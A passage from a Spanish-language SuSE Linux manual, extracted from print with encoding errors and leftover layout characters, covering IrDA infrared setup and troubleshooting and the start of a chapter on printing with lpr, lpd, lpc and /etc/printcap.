  20772. doc/howto/en/IR-HOWTO.gz. Mßs informaci≤n sobre el proyecto IrDA de
  20773. Linux se encuentra en el URL http://www.cs.uit.no/linux-irda.
  20774.  
  20775.  
  20776. Configuraci≤n
  20777.  
  20778. Cuando el paquete irda se instala,  las variables START_IRDA          ,  IRDA_PORT
  20779. y IRDA_IRQ         se apuntan en el fichero /etc/rc.config.  IrDA estß normal-
  20780. mente desactivado, pero se puede activar manualmente en cualquier instante
  20781. con el comando:
  20782.  
  20783.       tierra:  #  rcirda  start
  20784.  
  20785. Para desactivarlo se usa el parßmetro stop    . Activando el puerto de infrarrojos
  20786. los m≤dulos de kernel necesarios se cargan automßticamente.
  20787.  
  20788.  
  20789.                                                                                                                                    *
  20790.  *   321
  20791. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20792.  *_______________________________________@
  20793.  
  20794.  
  20795.  
  20796.                            La interface usada para IrDA se configura con las variables IRDA`PORT (por
  20797.                            defecto  /dev/ttyS1         )  y  IRDA_IRQ        (por  defecto  3 );  el  script  /etc/irda/
  20798.                            drivers  se  encarga  de  esta  configuraci≤n  cuando  se  inicia  el  soporte  de
  20799.                            infrarrojos.
  20800.  
  20801.                            Para  activar  el  soporte  IrDA  directamente  despuΘs  del  inicio  de  sistema,
  20802.                            asigne a la variable START_IRDA          el valor yes   . Lamentablemente IrDA nece-
  20803.                            sita bastante energφa (baterφa), porque cada pocos segundos envφa un paquete
  20804.                            ''Discovery'' para ''descubrir'' automßticamente otros dispositivos.
  20805.  
  20806.  
  20807.                            Aplicaci≤n
  20808.  
  20809.                            Para  imprimir  por  vφa  infrarroja,  es  posible  enviar  los  datos  a  travΘs  del
  20810.                            fichero  de  dispositivo  /dev/irlpt0.   Este  se  comporta  igual  que  la  inter-
  20811.                            face o fichero de dispositivo /dev/lp0 con conexi≤n ''alßmbrica'' solo que
  20812.                            los datos viajan por vφa infrarroja.
  20813.  
  20814.                            Se  puede  configurar  una  impresora  que  trabaja  con  el  puerto  IrDA  tal  co-
  20815.                            mo  una  impresora  en  el  puerto  paralelo  o  puerto  serie,  usando  YaST  (ver
  20816.                            apartado 3.7.1 en la pßgina 103Configurar impresorassubsection.3.7.1).  Para
  20817.                            imprimir vigile que la impresora estΘ ''a la vista'' del puerto IrDA de la com-
  20818.                            putadora y que el soporte de infrarrojos se haya inicializado.
  20819.  
  20820.                            El fichero de dispositivo /dev/ircomm0 permite comunicarse con otras com-
  20821.                            putadoras o p. ej.  con telΘfonos m≤viles. Usando el programa wvdial se puede
  20822.                            entrar vφa infrarrojos a Internet usando por ejemplo el m≤vil S25 de Siemens.
  20823.  
  20824.  
  20825.                            Soluci≤n de problemas
  20826.  
  20827.                            Si los dispositivos en el puerto de infrarrojos no reaccionan, es posible com-
  20828.                            probar con el comando irdadump       , si la computadora llega a reconocer el otro
  20829.                            dispositivo (entre al sistema como `root').
  20830.  
  20831.                                  tierra:  #  irdadump
  20832.  
  20833.                            Si hay una impresora Canon BJC-80 ''a la vista'' de la computadora tierra,
  20834.                            el  siguiente  mensaje  aparece  en  pantalla,  repitiΘndose  peri≤dicamente  (ver
  20835.                            salida en pantalla 11.3.1).
  20836.  
  20837.                            ________________________________________________________________________________________________________*
  20838.  *________||
  20839.                            | 21:41:38.435239  xid:cmd  5b62bed5  >  ffffffff  S=6  s=0  (14)                                       *
  20840.  *         |
  20841.                            |                                                                                                       *
  20842.  *         |
  20843.                            | 21:41:38.525167  xid:cmd  5b62bed5  >  ffffffff  S=6  s=1  (14)                                       *
  20844.  *         |
  20845.                            | 21:41:38.615159  xid:cmd  5b62bed5  >  ffffffff  S=6  s=2  (14)                                       *
  20846.  *         |
  20847.                            | 21:41:38.705178  xid:cmd  5b62bed5  >  ffffffff  S=6  s=3  (14)                                       *
  20848.  *         |
  20849.                            |                                                                                                       *
  20850.  *         |
  20851.                            | 21:41:38.795198  xid:cmd  5b62bed5  >  ffffffff  S=6  s=4  (14)                                       *
  20852.  *         |
  20853.                            | 21:41:38.885163  xid:cmd  5b62bed5  >  ffffffff  S=6  s=5  (14)                                       *
  20854.  *         |
  20855.                            |                                                                                                       *
  20856.  *         |
  20857.                            | 21:41:38.965133  xid:rsp  5b62bed5  <  6cac38dc  S=6  s=5  BJC-80  \                                  *
  20858.  *         |
  20859.                            |                                          hint=8804  [  Printer  IrCOMM  ]  (23)                       *
  20860.  *         |
  20861.                            |                                                                                                       *
  20862.  *         |
  20863.                            | 21:41:38.975176  xid:cmd  5b62bed5  >  ffffffff  S=6  s=*  erde  \                                    *
  20864.  *         |
  20865.                            |                                          hint=0500  [  PnP  Computer  ]  (21)                         *
  20866.  *         |
  20867.                            |_______________________________________________________________________________________________________*
  20868.  *________ |
  20869.  
  20870.                                                   Mensaje en pantalla 11.3.1: IrDA: irdadump
  20871.  
  20872.  
  20873.                            Si no aparece nada en pantalla o el otro dispositivo no responde, debe com-
  20874.                            probar primero la configuraci≤n de la interface.  ┐Realmente estß usando la
  20875.                            interface  correcta?  Esta  se  encuentra  a  veces  tambiΘn  bajo  /dev/ttyS2  o
  20876.  
  20877.  
  20878. 322
  20879.        ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
  20880.  *______________________
  20881.  
  20882.  
  20883.  
  20884. /dev/ttyS3 y tambiΘn es posible que se use otra interrupci≤n que no sea la
  20885. 3.  En casi todos los portßtiles es posible modificar esta configuraci≤n en la
  20886. BIOS.
  20887.  
  20888. Ademßs  solo  es  posible  acceder  a  dispositivos  que  soporten  bien  el  proto-
  20889. colo  Printer       o  bien  el  protocolo  IrComm     .   Usando  programas  especiales
  20890. (irobex_palm3           , irobex_receive             , leer las instrucciones en IR-HOWTO) es
  20891. posible comunicarse con dispositivos que se apoyan en el protocolo IROBEX
  20892. (p. ej.  3Com  Palm  Pilot).   El  resultado  del  comando  irdadump        indica,  por
  20893. detrßs  del  nombre  de  dispositivo  y  entre  corchetes,  el  protocolo  soportado.
  20894. Actualmente se estß trabajando en el soporte del protocolo IrLAN     , pero a·n
  20895. no  es  estable;  lo  mßs  probable  es  que  exista  dentro  de  poco  tambiΘn  para
  20896. Linux.
  20897.  
  20898. Para comprobar si el diodo LED realmente se ilumina, es posible mirar por
  20899. una cßmara de vφdeo, ya que Θstas ~ al contrario del ser humano ~ son capaces
  20900. de detectar la luz infrarroja.
  20901.                                                                                                                                    *
  20902.  *   323
  20903. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20904.  *_______________________________________@
  20905.  
  20906. 324
  20907.  
  20908.                                                                                                       Capφtulo  12
  20909.                                                                                                Impresoras
  20910.  
  20911.  
  20912. Probablemente ya habrß pasado por la primera configuraci≤n de una impreso-
  20913. ra bajo Linux durante la instalaci≤n del sistema con YaST (ver apartado 3.7.1
  20914. en la pßgina 103Configurar impresorassubsection.3.7.1). El presente capφtulo
  20915. muestra lo mßs importante de lo que ocurre ''detrßs'' del proceso y no especi-
  20916. fica cada detalle pero sφ lo suficiente como para entender el esquema de los
  20917. procesos que se llevan a cabo durante la impresi≤n.
  20918.  
  20919.  
  20920.  
  20921. 12.1        Sinopsis:  Interfaces, colas (spooling)
  20922.  
  20923.  
  20924. Los puertos paralelos
  20925.  
  20926. Para conectar una impresora a una mßquina Linux, se utiliza generalmente el
  20927. puerto paralelo.
  20928.  
  20929. Desde  el  kernel  2.2.xx  existe  el  subsistema  parport      ,  que  necesita  drivers
  20930. especφficos para reconocer los dispositivos conectados (ver el apartado 10.4.3
  20931. en  la  pßgina  300Conexiones  de  puerto  paralelosubsection.10.4.3).   De  esta
  20932. forma es posible utilizar simultßneamente varios dispositivos conectados en
  20933. cadena al puerto paralelo. íLa enumeraci≤n de los ficheros de dispositivo para
  20934. la impresora comienza ahora con /dev/lp0!  Para poder imprimir a travΘs
  20935. del primer puerto paralelo con el kernel 2.2.xx en la forma estßndar de SuSE    ,
  20936. es preciso cargar los m≤dulos parport, parport_pc y lp.  El kmod  (ingl.
  20937. Kernel Module Loader) los carga (por lo general) automßticamente cuando
  20938. se lanza una tarea de impresi≤n  (ver apartado 13.2 en la pßgina 351Kmod  ~
  20939. el ''Kernel Module Loader''section.13.2)  .  Si los m≤dulos no encuentran el
  20940. puerto paralelo, se les puede ''ayudar'' pasando parßmetros al kernel; ver  en
  20941. la pßgina 388El puerto paralelosubsection.14.3.4  .
  20942.  
  20943. Para probar la interfaz y la impresora se puede usar un comando como:
  20944.  
  20945.       tierra:  #  echo  hello  >  /dev/lp0
  20946.  
  20947. o
  20948.  
  20949.       tierra:  #  cat  Fichero_Texto  >  /dev/lp0
  20950.  
  20951. Estos comandos envφan datos directamente a la interfaz; solo se pueden usar
  20952. como `root' (+  Administrador de sistema).  En un sistema multitarea este
  20953. procedimiento resulta in·til ya que habrφa que contar con solicitudes de im-
  20954. presi≤n en cualquier momento y desde varios procesos al mismo tiempo, lo
  20955. que provocarφa un ''caos'' en la impresora. En lugar de esto, las solicitudes se
  20956. llevan a cabo a travΘs de una cola de impresi≤n (ingl. printing queue).
  20957.  
  20958.  
  20959.                                                                                                                                    *
  20960.  *   325
  20961. 12.  Impresoras   _________________________________________________________________________________________________________________*
  20962.  *_______________________________________@
  20963.  
  20964.  
  20965.  
  20966.                            Los puertos trabajan por defecto en modo ''Polling'' (la CPU tiene que con-
  20967.                            sultarlos peri≤dicamente para saber si hace falta transferir datos).  Cuando se
  20968.                            carga el sistema parport       o mediante el sistema de ficheros /proc es posible
  20969.                            que  el  superusuario  (`root')  cambie  la  modalidad  de  trabajo  a  la  de  "in-
  20970.                            terrupciones"y  use  el  programa  tunelp  para  optimizar  el  proceso  a·n  mßs;
  20971.                            ver  la  pßgina  del  manual  de  tunelp      (man  tunelp        )  y  los  documentos  que
  20972.                            se  mencionan  en  el  apartado  10.4.3  en  la  pßgina  300Conexiones  de  puer-
  20973.                            to  paralelosubsection.10.4.3.   Antes  de  comenzar,  se  deben  comprobar  los
  20974.                            parßmetros de los puertos (interrupci≤n "IRQ"y la direcci≤n de memoria) de
  20975.                            las interfaces (generalmente se hace por medio de la BIOS o por ''jumpers'').
  20976.  
  20977.  
  20978.  
  20979.                            12.1.1       Spooling, colas de impresi≤n
  20980.  
  20981.                            En Linux tal como en otros sistemas operativos multitarea, se accede a las im-
  20982.                            presoras a travΘs de un mecanismo de ''spooling'' (cola de impresi≤n).  Esto
  20983.                            significa que las solicitudes de impresi≤n se almacenan temporalmente en un
  20984.                            fichero y despuΘs se procesan una tras otra, bajo el control de un programa su-
  20985.                            pervisor (daemon).  De este modo, varios usuarios pueden pedir simultßnea-
  20986.                            mente la impresi≤n de documentos sin provocar conflictos. DespuΘs de haber
  20987.                            solicitado la impresi≤n, el usuario puede continuar trabajando sin necesidad
  20988.                            de esperar.
  20989.  
  20990.                            La cola de impresi≤n estß formada por:
  20991.  
  20992.                              o   una entrada en /etc/printcap, que define la cola
  20993.  
  20994.                              o   un directorio ~ normalmente /var/spool/lpd ~ para albergar un fichero
  20995.                                  de datos y otro de control para cada tarea de impresi≤n.
  20996.  
  20997.                            A  cada  cola  de  impresi≤n  le  pertenece  una  sola  impresora,  no  obstante,
  20998.                            pueden existir varias colas para la misma impresora.
  20999.  
  21000.                            SuSE     Linux incluye el sistema BSD-Spooling de la ''University of California
  21001.                            at Berkeley'' en el paquete lprold.  En principio estß dise±ado para el uso
  21002.                            vφa red, por lo tanto, se supone que TCP/IP estß configurado y que funciona.
  21003.                            En cuanto a la configuraci≤n, la diferencia entre una cola de impresi≤n local
  21004.                            o una remota es mφnima.
  21005.  
  21006.                            Una tarea de impresi≤n se procesa bajo Linux en tres pasos:
  21007.  
  21008.                              o   El fichero de datos se copia al directorio de una cola de impresi≤n y se
  21009.                                  completa allφ con un fichero nuevo de control para formar una tarea de
  21010.                                  impresi≤n completa.
  21011.  
  21012.                              o   El fichero de datos pasa,  seg·n las instrucciones del fichero de control,
  21013.                                  por  un  filtro  que  genera  un  serie  de  instrucciones  para  la  impresora  en
  21014.                                  cuesti≤n;  o sea, el filtro genera un flujo de datos en el formato especφfi-
  21015.                                  co  de  la  impresora,  p. ej.  PostScript,  PCL,  Esc/P2  etc.  Esta  conversi≤n
  21016.                                  puede tener varios pasos y bajo SuSE     Linux se encarga de ello el apsfil-
  21017.                                  ter  (paquete aps).  Ver tambiΘn apartado 12.3 en la pßgina 331Filtros de
  21018.                                  impresi≤n ~ el ''apsfilter''section.12.3.
  21019.  
  21020.                              o   El fichero especφfico se imprime seg·n el orden actual en la cola de im-
  21021.                                  presi≤n.
  21022.  
  21023.  
  21024.  
  21025. 326
  21026.        _________________________________________12.2.__Colas_de_impresi≤n:_Funcionamiento_y_configuraci≤n__________________________*
  21027.  *______________________
  21028.  
  21029.  
  21030.  
  21031. 12.2        Colas de impresi≤n:  Funcionamiento y configuraci≤n
  21032. Para  comprender  mejor  el  funcionamiento  de  la  cola  de  impresi≤n,  se  re-
  21033.  
  21034. comienda examinar las estaciones por las que pasa una solicitud de impre-
  21035. si≤n,  desde el fichero del usuario hacia la impresora y cußles programas se
  21036. ocupan de ello.
  21037.  
  21038. Muchos  detalles  que  no  se  contemplan  aquφ  por  falta  de  espacio,  se  en-
  21039. cuentran  en  la  pßgina  del  manual  de  lpr    (man  1  lpr      ),  en  la  pßgina  del
  21040. manual  de  lpd     (man  8  lpd      )  y  en  la  pßgina  del  manual  de  printcap
  21041. (man  5  printcap           ).
  21042.  
  21043.  
  21044. lpr: ┐QuiΘn es el ·ltimo?
  21045.  
  21046. El programa lpr  representa la ''interfaz de usuario'' hacia las colas de impre-
  21047. si≤n existentes.  Generalmente se solicita una tarea con un sencillo comando
  21048. como el siguiente:
  21049.       tux@tierra:  >  lpr  [-Pcola_impresi≤n]  fichero_texto
  21050.  
  21051. Dejando  la  opci≤n  -P   (''Printer'')  para  el  nombre  de  la  cola  de  impresi≤n,
  21052. se  usa  como  valor  predeterminado  el  contenido  de  la  variable  de  entorno
  21053. PRINTER.  Si  Θsta  se  encuentra  vacφa,  se  usa  el  nombre  tradicional  lp .   Lo
  21054. mismo es vßlido para lpq    y lprm    .
  21055.        _______________________________________________________________________________________________________________________
  21056.        ||||||||  No  debe  aparecer  ning·n  espacio  entre  la  opci≤n  -P   y  el  nombre  de  la             ||             |
  21057.        ||||||||                                                                                                 ||             |
  21058.        ||||||||  impresora (cola_impresi≤n             ).                                                       ||             |
  21059.        ||||||||_______________________________________________________________________________________________________________||_
  21060.  
  21061. lpr  comprueba mediante el fichero /etc/printcap, si existe la cola de im-
  21062. presi≤n indicada.  En caso afirmativo,  crea el fichero de control de la tarea
  21063. (fichero-cf)  y  una  copia  del  fichero  de  datos.  Posteriormente  pasa  los  dos
  21064. ficheros  al  gestor  de  impresi≤n  lpd ,  que  coloca  la  tarea  en  el  directorio
  21065. (''spool'') de la cola de impresi≤n.
  21066.  
  21067. Cuando la tarea de impresi≤n es muy grande, resulta bastante prßctico generar
  21068. en el directorio ''spool'' un enlace simb≤lico hacia el fichero de datos, en lugar
  21069. de copiarlo.  Esto se consigue con la opci≤n -s   de lpr .  Evidentemente, no se
  21070. debe modificar el fichero antes de la finalizaci≤n de la tarea de impresi≤n.
  21071.  
  21072. lpr  permite seleccionar a mano un filtro de impresi≤n (driver de impresora)
  21073. especial para una tarea. Es una opci≤n que se necesita raras veces y se explica
  21074. en  la  Manpage  de  lpr  y  en  el  apartado  12.3  en  la  pßgina  331┐QuΘ  son  los
  21075. filtros de impresi≤n y c≤mo trabajan?section.12.3 sobre filtros.
  21076.  
  21077.  
  21078. Utilidades para el usuario: Sinopsis
  21079.  
  21080. Para administrar colas de impresi≤n existe una interesante herramienta grßfica
  21081. en el paquete xlpq, serie xap.  Sin embargo, las herramientas de la lφnea de
  21082. comandos que se presentan a continuaci≤n, son mßs potentes ya que tienen
  21083. mßs opciones.
  21084.        _______________________________________________________________________________________________________________________||
  21085.        ||||||||  Para  manipular  las  colas  de  impresi≤n  se  necesitan  derechos  de  supe-                 |||            |
  21086.        ||||||||  rusuario.  For examplepara borrar tareas de impresi≤n que no son propios                       ||             |
  21087.        ||||||||                                                                                                 ||             |
  21088.        ||||||||  hace falta trabajar como `root'.                                                               ||             |
  21089.        ||||||||_______________________________________________________________________________________________________________||_
  21090.  
  21091.  
  21092.                                                                                                                                    *
  21093.  *   327
  21094. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21095.  *_______________________________________@
  21096.  
  21097.  
  21098.  
  21099.                              o   lpq  muestra las propias tareas en la cola de impresi≤n (usando la opci≤n
  21100.                                  -P ); el comando que viene a continuaci≤n da como resultado la salida en
  21101.                                  pantalla 12.2.1:
  21102.                                       tux@tierra:  >  lpq  -Pcola_impresi≤n
  21103.  
  21104.  
  21105.                            ________________________________________________________________________________________________________*
  21106.  *________||
  21107.  
  21108.                            | cola_impresi≤nRaisnkreadyOwandneprintingr          Job   Files             Total  Size                *
  21109.  *         |
  21110.                            |                                                                                                       *
  21111.  *         |
  21112.                            | active  tux             676   Hallo.txt      259420  bytes                                            *
  21113.  *         |
  21114.                            | 1st      tux             677   brief.dvi        11578  bytes                                          *
  21115.  *         |
  21116.                            | 2nd      tux             683   bild.gif          37464  bytes                                         *
  21117.  *         |
  21118.                            |_______________________________________________________________________________________________________*
  21119.  *________ |
  21120.  
  21121.                                           Mensaje en pantalla 12.2.1: Resultado del comando lpq   .
  21122.  
  21123.  
  21124.                              o   lprm  borra  las  tareas  propias  de  la  cola  de  impresi≤n;  el  comando  que
  21125.                                  viene a continuaci≤n da como resultado la salida en pantalla 12.2.2:
  21126.                                       tux@tierra:  >  lprm  -Pcola_impresi≤n  676
  21127.  
  21128.  
  21129.                            ________________________________________________________________________________________________________*
  21130.  *________||
  21131.                            | dfA676Aa05005  dequeued                                                                               *
  21132.  *         |
  21133.                            | cfA676Aa05005  dequeued                                                                               *
  21134.  *         |
  21135.                            |_______________________________________________________________________________________________________*
  21136.  *________ |
  21137.  
  21138.                                   Mensaje en pantalla 12.2.2: Resultado ejemplar del comando lprm    .
  21139.  
  21140.  
  21141.                                  Sin indicaci≤n explφcita de un n·mero de tarea activa, Θsta se borra de la
  21142.                                  cola si la tarea pertenece al usuario.
  21143.  
  21144.                              o   lpc (con rama completa: /usr/sbin/lpc) control de las colas de impre-
  21145.                                  si≤n. Las opciones mßs importantes figuran a continuaci≤n (como nombre
  21146.                                  de la cola de impresi≤n se puede indicar tambiΘn all    = todos):
  21147.  
  21148.                                  ~   status  cola_impresi≤n                     Informa  sobre  el  estado  de  la  cola.   Si
  21149.                                      falta la indicaci≤n cola_impresi≤n             , es como haber indicado all   , o
  21150.                                      sea, se informa sobre el estado de todas las colas.
  21151.  
  21152.                                  ~   disable  cola_impresi≤n                      Se deja de aceptar nuevas tareas en la
  21153.                                      cola de impresi≤n.
  21154.  
  21155.                                  ~   enable  cola_impresi≤n                     Activa la cola de impresi≤n para aceptar
  21156.                                      nuevas tareas.
  21157.  
  21158.                                  ~   stop  cola_impresi≤n                   Detiene la impresi≤n de las tareas de la co-
  21159.                                      la; la tarea que se estß imprimiendo termina.
  21160.  
  21161.                                  ~   start  cola_impresi≤n                    Reanuda la impresi≤n de las tareas en la
  21162.                                      cola.
  21163.  
  21164.                                  ~   down  cola_impresi≤n                    Tiene  el  mismo  efecto  que  disable       mßs
  21165.                                      stop     .
  21166.  
  21167.                                  ~   up  cola_impresi≤n                   Tiene  el  mismo  efecto  que  enable        mßs
  21168.                                      start     .
  21169.  
  21170.                                  ~   abort  cola_impresi≤n                     Act·a  como  down   ,  con  la  diferencia  de
  21171.                                      que detiene inmediatamente una tarea que se estß imprimiendo.  Las
  21172.                                      tareas se mantienen y es posible reanudarlas despuΘs del reinicio de la
  21173.                                      cola (up  ).
  21174.  
  21175.  
  21176. 328
  21177.        _________________________________________12.2.__Colas_de_impresi≤n:_Funcionamiento_y_configuraci≤n__________________________*
  21178.  *______________________
  21179.  
  21180.  
  21181.  
  21182.       Se pueden pasar estos comandos directamente desde la lφnea de comandos
  21183.       a lpc   (p. ej.  lpc  status        ) o llamar a lpc   sin parßmetro. En el ·ltimo caso
  21184.       se abre un cuadro de dißlogo con su propio ''prompt'' lpc>    , esperando la
  21185.       introducci≤n  de  comandos  de  lpc  .   Con  quit     o  exit     se  sale  de  esta
  21186.       ventana.
  21187.        _______________________________________________________________________________________________________________________||
  21188.        ||||||||  Las tareas de impresi≤n se mantienen en la cola de impresi≤n incluso si                        |||            |
  21189.        ||||||||                                                                                                 ||             |
  21190.        ||||||||  se  para  a  prop≤sito  la  computadora  durante  la  impresi≤n,  reinicißndola                ||             |
  21191.        ||||||||  nuevamente  mßs  tarde.   Por  eso  hace  falta  quitar  un  tarea  de  impresi≤n              ||             |
  21192.        ||||||||                                                                                                 ||             |
  21193.        ||||||||  equivocada mediante los comandos que figuran arriba.                                           ||             |
  21194.        ||||||||_______________________________________________________________________________________________________________||_
  21195.  
  21196. lpd: el gestor de impresi≤n en segundo plano
  21197.  
  21198. El lpd  (ingl. Line Printer Daemon) se activa durante el arranque del sistema
  21199. mediante el script /sbin/init.d/lpd si el fichero /etc/rc.config con-
  21200. tiene  la  lφnea  START_LPD=yes            .   lpd  se  ejecuta  como  daemon  en  segundo
  21201. plano.
  21202.  
  21203. Cuando lpd  se inicia, averigua mediante el fichero /etc/printcap las colas
  21204. de impresi≤n definidas.  Su trabajo es organizar la impresi≤n de las tareas en
  21205. la cola; trabajo que se desglosa en:
  21206.  
  21207.   o   organizaci≤n de las colas locales: lpd hace pasar el fichero de datos por el
  21208.       filtro adecuado (definido por la entrada de la cola en /etc/printcap, tal
  21209.       como por indicaciones explφcitas en el fichero de control de la tarea) y lo
  21210.       envφa despuΘs al puerto de la impresora;
  21211.   o   consideraci≤n del orden de las tareas en la cola de impresi≤n;
  21212.   o   supervisi≤n del estado de las colas y de la impresora (fichero status en
  21213.       los directorios ''spool'' locales) e informaci≤n sobre los estados en caso
  21214.       de solicitud;
  21215.   o   traspaso  de  solicitudes  de  impresi≤n  a  colas  remotas  al  lpd  local  de  la
  21216.       mßquina remota;
  21217.   o   recogida  de  solicitudes  de  impresi≤n  dirigidas  a  colas  locales  y  proce-
  21218.       dentes de mßquinas remotas o rechazo de las mismas en caso de no ser
  21219.       autorizadas.
  21220.  
  21221. Autorizaci≤n:  Solo  se  aceptan  solicitudes  de  mßquinas  remotas  si  Θstas  se
  21222. mencionan en el fichero /etc/hosts.lpd del servidor de impresi≤n (ingl.
  21223. printserver).   TambiΘn  es  suficiente  con  mencionar  la  mßquina  remota  en
  21224. /etc/hosts.equiv  pero  esto  presenta  muchos  inconvenientes  respecto  a
  21225. los  derechos  de  acceso  desde  la  mßquina  remota  a  la  local.   Por  razones
  21226. de  seguridad  es  mejor  evitarlo   (ver  el  apartado  18.2.2  en  la  pßgina  464El
  21227. TCP-Wrappersubsection.18.2.2)  .
  21228.  
  21229. Si se a±aden parßmetros a la definici≤n de la cola,  estos pueden causar re-
  21230. stricciones adicionales a los usuarios de un determinado grupo o a usuarios
  21231. con cuenta en la mßquina local.
  21232.  
  21233.  
  21234. Filtros: los trabajadores infatigables
  21235.  
  21236. Los filtros de impresi≤n se encargan de convertir el fichero de datos de una
  21237. tarea al formato especφfico de la impresora (en cuanto a su configuraci≤n ver
  21238.  
  21239.  
  21240.                                                                                                                                    *
  21241.  *   329
  21242. 12.  Impresoras   _________________________________________________________________________________________________________________*
  21243.  *_______________________________________@
  21244.  
  21245.  
  21246.  
  21247.                            el  apartado  12.3  en  la  pßgina  siguiente).   Con  ello,  los  filtros  son  los  que
  21248.                            tienen la mayor carga de trabajo en todo el proceso de impresi≤n. Su funci≤n
  21249.                            equivale a la de los drivers de impresi≤n en otros sistemas operativos como
  21250.                            Windows u OS/2.  Aparte de esto, liquidan a petici≤n del usuario la tarea de
  21251.                            impresi≤n, calculando los recursos gastados, el tama±o total. . .
  21252.  
  21253.  
  21254.                            /etc/printcap            : Configuraci≤n de las colas
  21255.  
  21256.                            Cada cola de impresi≤n disponible se define en el fichero /etc/printcap
  21257.                            con  una  entrada  y  Θsta  se  finaliza  con  el  sφmbolo  ''Newline''  (cambio  de
  21258.                            lφnea/retorno  de  carro),  sin  embargo,  cuando  la  entrada  es  muy  larga,  Θste
  21259.                            se puede reemplazar con el sφmbolo de la barra inversa `\' inmediatamente
  21260.                            por delante del cambio de lφnea. La entrada comienza con uno o varios nom-
  21261.                            bres para la cola de impresi≤n, separados por el sφmbolo `|' y a continuaci≤n
  21262.                            viene una lista de especificaciones con el formato1  abreviatura          =<valor>,
  21263.                            con el sφmbolo de separaci≤n `:'.  Las lφnea vacφas y las que comienzan con
  21264.                            #  (comentarios) se ignoran.
  21265.  
  21266.                            El fichero /etc/printcap contiene una serie de entradas a modo de ejem-
  21267.                            plo;  como se puede observar, en el fichero 12.2.1 aparece una entrada muy
  21268.                            simple sin ning·n filtro.
  21269.  
  21270.                            ________________________________________________________________________________________________________*
  21271.  *________
  21272.                            | ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240                                         *
  21273.  *         |
  21274.                            |                                                                                                       *
  21275.  *         |
  21276.                            |_______________________________________________________________________________________________________*
  21277.  *________ |
  21278.  
  21279.                                    Fichero 12.2.1: /etc/printcap            : Cola de impresi≤n local sencilla
  21280.  
  21281.  
  21282.                            Se puede acceder a esta cola de impresi≤n con los nombres ascii y deskjet.
  21283.                            El directorio ''spool'' de la cola estß en /var/spool/lpd/ascii y su impre-
  21284.                            sora es /dev/lp0.  No imprime portadas al comienzo de cada tarea de im-
  21285.                            presi≤n (sh   ''suppress header'' ~ suprimir encabezado) y acepta tareas hasta
  21286.                            10240 KB. El fichero 12.2.2 muestra el ejemplo de una cola de impresi≤n en
  21287.                            una computadora remota.  Respecto a esta configuraci≤n ver el apartado 12.4
  21288.                            en la pßgina 337Impresoras de red con apsfilter section.12.42 .
  21289.  
  21290.                            ________________________________________________________________________________________________________*
  21291.  *________||
  21292.                            | lp1|HP-4P:\                                                                                           *
  21293.  *         |
  21294.                            |               :rm=sol.cosmos.univ:\                                                                   *
  21295.  *         |
  21296.                            |                                                                                                       *
  21297.  *         |
  21298.                            |               :rp=HP:\                                                                                *
  21299.  *         |
  21300.                            |               :sd=/var/spool/lpd/lp1:\                                                                *
  21301.  *         |
  21302.                            |               :mx#0:sh                                                                                *
  21303.  *         |
  21304.                            |_______________________________________________________________________________________________________*
  21305.  *________ |
  21306.  
  21307.                                  Fichero 12.2.2: /etc/printcap            : Cola de impresi≤n remota sencilla
  21308.  
  21309.  
  21310.                            La  cola  de  impresi≤n  tiene  los  nombres  lp1    y  HP-4P    .   En  lugar  de  indi-
  21311.                            carse el dispositivo lp=   ,  ahora se hace referencia al +   Anfitri≤n (ingl. host)
  21312.                            sol.cosmos.univ y su cola de impresi≤n HP.  No hace falta especificar fil-
  21313.                            tros ya que la cola en sol.cosmos.univ se encarga de ello. Por lo tanto, solo
  21314.                            _____________________________________________1
  21315.                               Todas las abreviaturas con su significado y valor predeterminado se detallan en la pßgina del
  21316.                            manual de printcap     (man  printcap      ).
  21317.                            2  Las barras inversas (\) al final de la lφnea ''esconden'' el retorno de carro ~ tal como en la
  21318.                            introducci≤n de comandos de la shell ~ asφ que la entrada cuenta como una sola lφnea.
  21319.  
  21320.  
  21321. 330
  21322.        ____________________________________________________________________12.3.__Filtros_de_impresi≤n_~_el_''apsfilter''__________*
  21323.  *______________________
  21324.  
  21325.  
  21326.  
  21327. queda indicar el fichero de ''spool'' /var/spool/lpd/lp1 y la restricci≤n de
  21328. tama±o de las tareas (mx#0     significa que no existe ninguna restricci≤n).
  21329.  
  21330. Si se usa apsfilter para la configuraci≤n, las colas de impresi≤n necesarias se
  21331. apuntan automßticamente en /etc/printcap; en el apartado siguiente hay
  21332. mßs informaci≤n al respecto.
  21333.  
  21334.  
  21335.  
  21336. 12.3        Filtros de impresi≤n
  21337.  
  21338.  
  21339. ┐QuΘ son los filtros de impresi≤n y c≤mo trabajan?
  21340.  
  21341. Como  ya  se  ha  indicado,  el  trabajo  de  un  filtro  de  impresi≤n  es  convertir
  21342. el  fichero  de  datos  de  una  tarea  de  impresi≤n  al  formato  especφfico  de  la
  21343. impresora que corresponda.
  21344.  
  21345. Cuando lpd  llama al filtro, Θste recibe como informaci≤n adicional el tama±o
  21346. de  papel,  el  nombre  del  usuario  y  del  host  desde  donde  viene  la  tarea  y  el
  21347. nombre del fichero. Como se trata de un programa de Unix, el filtro recibe el
  21348. fichero de datos a travΘs de la ''entrada normalizada'' (ingl. standard input) y
  21349. pasa el resultado a la ''salida normalizada'' (ingl. standard output).
  21350.  
  21351. El filtro debe conocer el formato de los datos de entrada (texto-ASCII, DVI,
  21352. PostScript, etc.). Para conocerlo existen dos posibilidades:
  21353.  
  21354.  
  21355.   o   El filtro es suficientemente ''inteligente'' como para reconocer el formato
  21356.       del fichero a base de la estructura de los datos.  En este caso, el filtro esta
  21357.       compuesto  por  un  ''pre-filtro''  para  el  reconocimiento  de  datos  y  varios
  21358.       programas mßs que se encargan realmente del trabajo de conversi≤n.
  21359.  
  21360.       Asφ funciona ~ a grandes rasgos ~ el programa apsfilter que se instala por
  21361.       defecto con SuSE     Linux.
  21362.  
  21363.   o   Se  definen  diferentes  filtros  para  diferentes  formatos  de  fichero.    La
  21364.       asignaci≤n  de  los  filtros  se  efect·a  a  travΘs  de  unas  entradas  en  /etc/
  21365.       printcap de la cola de impresi≤n y el usuario selecciona los filtros pos-
  21366.       teriormente por medio de una opci≤n adicional cuando se llama a lpr . Hay
  21367.       ocho posibilidades previstas:
  21368.  
  21369.        _printcap_Entrada__|_____________if=_____cf=_______df=______gf=______nf=_______rf=______tf=_____vf=_______
